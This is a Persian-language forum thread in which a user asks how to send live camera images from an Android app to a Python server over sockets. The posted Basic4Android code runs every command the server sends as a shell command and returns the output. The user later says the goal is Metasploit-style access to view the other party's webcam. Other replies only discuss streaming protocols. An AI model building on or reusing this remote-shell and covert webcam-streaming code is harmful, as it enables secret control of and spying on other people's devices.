راهنمایی در مورد ارتباط اندروید به سرور
با سلام و خسته نباشید
من میخوام بین اندروید با پایتون از طریق برنامه نویسی سوکت ارتباط برقرار کنم : به طوریکه بتونم اطلاعات دوربین را مثل وبکم به صورت زنده یا به صورت عکس به سمت سرور بفرستم : برای فرستادن دیتا به سمت سرور از این کد استفاده میشه send.Write(allapp.GetBytes(“UTF-8”)) الان سئوال اینجا هست که اطلاعات مثل تصویر چطور باید به سمت سرور ارسال کرد؟ مثلا باید به بایت تبدیل بشوند یا روش دیگه ای داره؟ میخوام از یکسری کد استفاده کنم و خروجی اش را به سمت سرور بفرستم
نمونه کد ارسالی به سرور
Sub s1_Connected (Successful As Boolean)
If Successful = True Then
Log("Connected !")
send.Initialize(socket.InputStream,socket.OutputSt ream,"data")
End If
End Sub
Sub data_NewData (Buffer() As Byte)
Dim newdata As String
newdata = BytesToString(Buffer,0,Buffer.Length,"UTF-8")
If newdata = "allapp" Then
Dim allapp As String
allapp = Application.LabelName
send.Write(allapp.GetBytes("UTF-8"))
Else
s.Initialize
p.Shell(newdata,Null,s,Null)
Dim cmd As String = s.ToString
send.Write(cmd.GetBytes("UTF-8"))
End If
نمونه کد دوربین
Sub Globals
Private pnl_1 As Panel
Private img As ImageView
Dim ca As Camera
End Sub
Sub Activity_Create(FirstTime As Boolean)
Activity.LoadLayout("l1")
ca.Initialize(pnl_1,"cam")
End Sub
Sub cam_Ready (Success As Boolean)
If Success Then
ca.StartPreview
Else
ToastMessageShow("خطای دوربین",False)
End If
End Sub
Sub Activity_Resume
End Sub
Sub Activity_Pause (UserClosed As Boolean)
End Sub
Sub btn_take_Click
ca.TakePicture
End Sub
Sub cam_PictureTaken (Data() As Byte)
Dim ou As OutputStream
ou = File.OpenOutput(File.DirRootExternal,"pic.jpg",Fal se)
ou.WriteBytes(Data,0,Data.Length)
ou.Close
ToastMessageShow("عکس ذخیره شد",False)
img.Bitmap = LoadBitmap(File.DirRootExternal,"pic.jpg")
End Sub
سپاس
نقل قول: راهنمایی در مورد ارتباط اندروید به سرور
دوست عزیز اینجا اکثرا جاوا کار هستن به نظرم تو فروم های مخصوص بیسیک فور اندروید بپرسید راحت تر و زودتر به جواب میرسید
نقل قول: راهنمایی در مورد ارتباط اندروید به سرور
سلام دوستان من مییخوام بدونم که آیا میشه برای برنامه نویسی سمت سرور یک اپلیکیشن از ruby on rails استفاده کرد ؟ و آیا کسی آموزشی در این رابطه میشناسه تا بتونه به من پیشنهاد بده؟ و این که اگر امکان پذیره چطور باید این برنامه نویسی رو انجام داد؟ ممنون میشم اگه منو راهنمایی کنید
نقل قول: راهنمایی در مورد ارتباط اندروید به سرور
دوست عزیز ارسال زنده ویدئو مربوط به بحث Video Streaming میشه که پیاده سازی اون کاملا تخصصی و صد البته هزینه بر هستش
شما برای پیاده سازی این روش اول باید یه مطالعه ای بر روی پروتکل های جریان ویدئو «Video Streaming» مثل rtmp و rtsp داشته باشین.
بعد از اون باید ماهیت و هدف جریان ویدئو رو مشخص کنید. آیا این نرم افزاری که مد نظر شماست یه برنامه امنیتیه یا نه؟ اگر برنامه ای امنیتی محصوب میشه پس باید یه مطالعه ای هم بر روی کدک MJPEG داشته باشین.
همچنین باید مطاله و تخصص بر روی نحوه کار کردن با نرم افزارهای وب سرور مخصوص جریان ویوئو مثل Wowza داشته باشین.
اما اگه نمی خوای بصورت اصولی این کار رو پیاده سازی کنی می تونی مطالعه ای روی دو تا لینک زیر داشته باشی.
نقل قول: راهنمایی در مورد ارتباط اندروید به سرور
نقل قول:
نوشته شده توسط
Restlesa
دوست عزیز ارسال زنده ویدئو مربوط به بحث Video Streaming میشه که پیاده سازی اون کاملا تخصصی و صد البته هزینه بر هستش
شما برای پیاده سازی این روش اول باید یه مطالعه ای بر روی پروتکل های جریان ویدئو «Video Streaming» مثل rtmp و rtsp داشته باشین.
بعد از اون باید ماهیت و هدف جریان ویدئو رو مشخص کنید. آیا این نرم افزاری که مد نظر شماست یه برنامه امنیتیه یا نه؟ اگر برنامه ای امنیتی محصوب میشه پس باید یه مطالعه ای هم بر روی کدک MJPEG داشته باشین.
همچنین باید مطاله و تخصص بر روی نحوه کار کردن با نرم افزارهای وب سرور مخصوص جریان ویوئو مثل Wowza داشته باشین.
اما اگه نمی خوای بصورت اصولی این کار رو پیاده سازی کنی می تونی مطالعه ای روی دو تا لینک زیر داشته باشی.
ممنونم دوست عزیز: من یک چیزی میخوام مثل دسترسی متااسپلویت ! زمانیکه شما دستور stream را می زنید وبکم طرف را می بینید! شما ایا می دانید آنها از چه سبکی برای انتقال ویدئو شان استفاده می کنند؟
سپاس
نقل قول: راهنمایی در مورد ارتباط اندروید به سرور
متاسفانه نتونستم مطلبی رو پیدا کنم که نشون دهنده این باشه که از چه پروتکلی استفاده کردن اما چیزی که هست اینه که از یکی از پروتکل های جریان ویدئو مثل rtmp و یا rtsp استفاده کردن